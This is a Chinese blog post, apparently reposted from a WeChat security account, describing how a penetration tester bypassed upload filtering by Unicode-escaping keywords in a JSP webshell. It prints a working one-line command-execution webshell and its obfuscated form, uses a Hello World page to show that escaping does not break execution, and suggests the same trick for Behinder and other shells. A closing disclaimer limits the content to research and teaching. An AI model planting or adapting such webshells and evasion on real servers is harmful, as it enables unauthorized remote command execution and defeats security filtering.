今天渗透测试的时候找到一个可以上传jsp的上传点,但是总是上传一句话、大马、冰蝎马的时候显示链接被重置(connection reset)或者通信异常(socket error),有啥办法绕过呢?
链接被重置原因:由于我用的是jsp执行命令无回显一句话,经过fuzz测试发现,代码中不能出现exec等关键字,如果有的话就会链接被重置(还有一些其他的关键字也会出现这种情况,解决办法同一个),我的一句话:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
解决办法:在java中Unicode编码之后的代码会在编译的过程自动解码成原来的代码,不会影响程序的执行,那我们可以将敏感的关键字进行unicode编码
原生代码:
<html>
<head>
<title>Hello World</title>
</head>
<body>
<%-- 这是JSP Scriptlet之前的JSP注释 --%>
<%
//打印到控制台
System.out.println("Hello World in Console!");
//打印到HTML页面
out.println("<h1>Hello World!</h1>");
%>
</body>
</html>
执行结果:
编码之后的代码:
<html>
<head>
<title>Hello World</title>
</head>
<body>
<%-- 这是JSP Scriptlet之前的JSP注释 --%>
<%
//打印到控制台
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e("Hello World in Console!");
//打印到HTML页面
out.println("<h1>Hello World!</h1>");
%>
</body>
</html>
执行结果:
最后我的webshell用同样的方法绕过这个问题:
<%Runtime.getRuntime().u0065u0078u0065u0063(request.getParameter("i"));%>
结论:可以看出确实unicode编码之后的java并没有影响的程序的执行;
拓展思考:对冰蝎或者其他的马儿在绕过的时候可以考虑将其部分或者全部进行unicode进行编码这种方法;
注意:在对java代码进行unicode编码的时候要注意导包部分不能编码,或者会报错;
原文始发于微信公众号(增益安全):jsp webshell免杀的一次小姿势
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论